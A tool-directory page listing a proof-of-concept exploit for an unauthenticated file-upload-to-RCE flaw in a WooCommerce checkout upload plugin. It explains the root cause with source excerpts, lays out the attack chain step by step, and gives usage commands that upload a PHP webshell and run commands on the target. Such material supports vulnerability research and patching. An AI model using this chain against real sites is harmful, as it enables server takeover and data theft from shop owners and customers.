Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/noxcrypt-x/cve-2026-103688
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access Tool
GitHubnoxcrypt-x/cve-2026-103688

CVE-2026-103688

Python PoC exploiting CVE-2026-103688 in Checkout Files Upload for WooCommerce < 2.4.0: fingerprints the plugin, uploads a PHP payload unauthenticated, and achieves RCE.

View Repository
3124 days agoNot yet reviewed
Share

CVE-2026-103688 — Checkout Files Upload for WooCommerce < 2.4.0

Unauthenticated arbitrary file upload leading to remote code execution (RCE)

Author: NØXCRYPT · @noxcrypt-x

Disclaimer: This repository is provided for security research and authorized testing only. Do not use it against systems you do not own or have explicit permission to test. The author is not responsible for any misuse.

Repository contents: PoC script and documentation only. The plugin sources (src/), WooCommerce archives (*.zip), and local lab files are not included.

ProductCheckout Files Upload for WooCommerce (WordPress plugin by WP Wham)
Affected versionsAll versions before 2.4.0
Fixed in2.4.0 (released October 20, 2026)
ClassCWE-434 — Unrestricted Upload of File with Dangerous Type
CVSS 3.19.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
IdentifiersCVE-2026-103688
Source review2.3.0 (Stable tag: 2.3.0)

1. Summary

Checkout Files Upload for WooCommerce lets customers upload files during or after checkout. Each uploader has an Accepted file types setting. When that setting is left empty, the plugin documents the behavior as "accept all files" — and validate_file_type() skips validation completely.

The AJAX handler alg_ajax_file_upload is registered for both wp_ajax_ and wp_ajax_nopriv_, so unauthenticated visitors can call it. The nonce it requires is generated with action wpwham-checkout-files-upload-<order_id> and printed into the checkout HTML as a hidden input; before checkout, order_id is 0, so any visitor can obtain a valid nonce.

The uploaded file is first moved to a temporary file. On order creation, add_files_to_order() writes it to:

wp-content/uploads/woocommerce_uploads/alg_uploads/checkout_files_upload/<order_id>_<uploader>_<key>.<ext>

The original extension is preserved. A .php upload therefore becomes an executable PHP file in a public directory.

Impact: webshell upload and execution → full server compromise.


2. Root Cause

2.1 Empty allow-list disables file-type validation

includes/class-alg-wc-checkout-files-upload.php — validate_file_type():

$files_accepted = get_option( 'alg_checkout_files_upload_file_accept_' . $file_uploader, '.jpg,.jpeg,.png' );
if ( $files_accepted > '' ) {
    $files_accepted = array_map( 'trim', explode( ',', strtolower( $files_accepted ) ) );
    if ( is_array( $files_accepted ) && ! empty( $files_accepted ) ) {
        $checked_file = wp_check_filetype_and_ext( $file['tmp_name'], $file['name'] );
        $file_ext     = strtolower( '.' . $checked_file['ext'] );
        if ( empty( $checked_file['ext'] ) || ! in_array( $file_ext, $files_accepted ) ) {
            // reject
        }
    }
}

If the admin leaves the setting blank, $files_accepted > '' is false and the entire check is skipped. The upload is accepted regardless of extension or MIME type.

2.2 Unauthenticated AJAX action

The handler is available to logged-out users:

add_action( 'wp_ajax_alg_ajax_file_upload',        array( $this, 'alg_ajax_file_upload' ) );
add_action( 'wp_ajax_nopriv_alg_ajax_file_upload', array( $this, 'alg_ajax_file_upload' ) );

alg_ajax_file_upload() verifies only the nonce and the presence of $_FILES['file'] and $_POST['file_uploader'].

2.3 The nonce is exposed on the checkout page

includes/class-alg-wc-checkout-files-upload.php:

$html .= '<input type="hidden" id="wpwham-checkout-files-upload-nonce-' . $file_uploader . '" ' .
    'name="wpwham-checkout-files-upload-nonce-' . $file_uploader . '" ' .
    'value="' . wp_create_nonce( 'wpwham-checkout-files-upload-' . $order_id ) . '">';

Before checkout, $order_id is 0. The nonce is created for wpwham-checkout-files-upload-0 and is available to every visitor who loads the checkout page.

2.4 Original extension is preserved

add_files_to_order() (and add_file_to_order() for an existing order):

$ext                = pathinfo( $file_name, PATHINFO_EXTENSION );
$download_file_name = $order_id . '_' . $i . '_' . $file_key . '.' . $ext;
$file_path          = $upload_dir . '/' . $download_file_name;
file_put_contents( $file_path, file_get_contents( $tmp_file_name ) );

Nothing checks the extension again at this stage, and the path is publicly accessible.


3. Exploit Chain

  1. An administrator configures a file uploader with an empty Accepted file types setting (or includes php).
  2. A visitor adds a product to the cart and opens the classic checkout page.
  3. The page contains a valid nonce for wpwham-checkout-files-upload-0.
  4. The visitor sends a multipart/form-data request to /wp-admin/admin-ajax.php with:
    • action=alg_ajax_file_upload
    • the recovered nonce
    • file_uploader=1
    • file=shell.php
  5. The file is stored in a temporary session file. It is moved to the public uploads directory when the order is created (or immediately when a valid existing order_id and matching nonce are used).
  6. The payload is executed at:
/wp-content/uploads/woocommerce_uploads/alg_uploads/checkout_files_upload/<order_id>_<uploader>_<key>.php

4. PoC

File: checkout_cve_2026_103688.py (Python 3, requires only requests).

pip install -r requirements.txt

Terminal UI

  ▍ CVE-2026-103688   ·   CVSS 9.8 Critical   ·   CWE-434
  ▍ Checkout Files Upload < 2.4.0  →  unauthenticated upload  →  RCE
  ▍ exploit by NØXCRYPT  ·  noxcrypt-x

Colors are enabled automatically on modern terminals and can be disabled with --no-color. With --json, the banner and human-readable messages are suppressed.

Version probe only

python checkout_cve_2026_103688.py -u https://target --detect

Example output:

  ▍ FINGERPRINT
  ▍ target    https://target
  ▍ plugin    Checkout Files Upload 2.3.0
  ▍ status    VULNERABLE  (< 2.4.0)

Full chain: checkout → upload → order → RCE

python checkout_cve_2026_103688.py -u https://target \
  --checkout-url https://target/checkout/ --complete

--complete adds a product to the cart (if needed), recovers the nonce, uploads the payload, submits the classic checkout to create an order, and verifies execution.

Upload against an existing order

python checkout_cve_2026_103688.py -u https://target \
  --checkout-url https://target/checkout/ \
  --order-id 42 --nonce '<nonce>' --file shell.php

Important: when using --order-id, the nonce must have been minted for that order. A nonce from the normal checkout page is minted for order 0 and will be rejected by wp_verify_nonce(). If you do not have an order-specific nonce, use --complete instead.

Run a command after execution is confirmed

python checkout_cve_2026_103688.py -u https://target \
  --checkout-url https://target/checkout/ --complete --exec "id"
# [+] command output (id): 'uid=33(www-data) gid=33(www-data) ...'

Main options

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    905
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    881
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    673
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    454
  • 5

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    402
  • 6

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    397

Explore all tools

Browse our collection of tools

View all tools →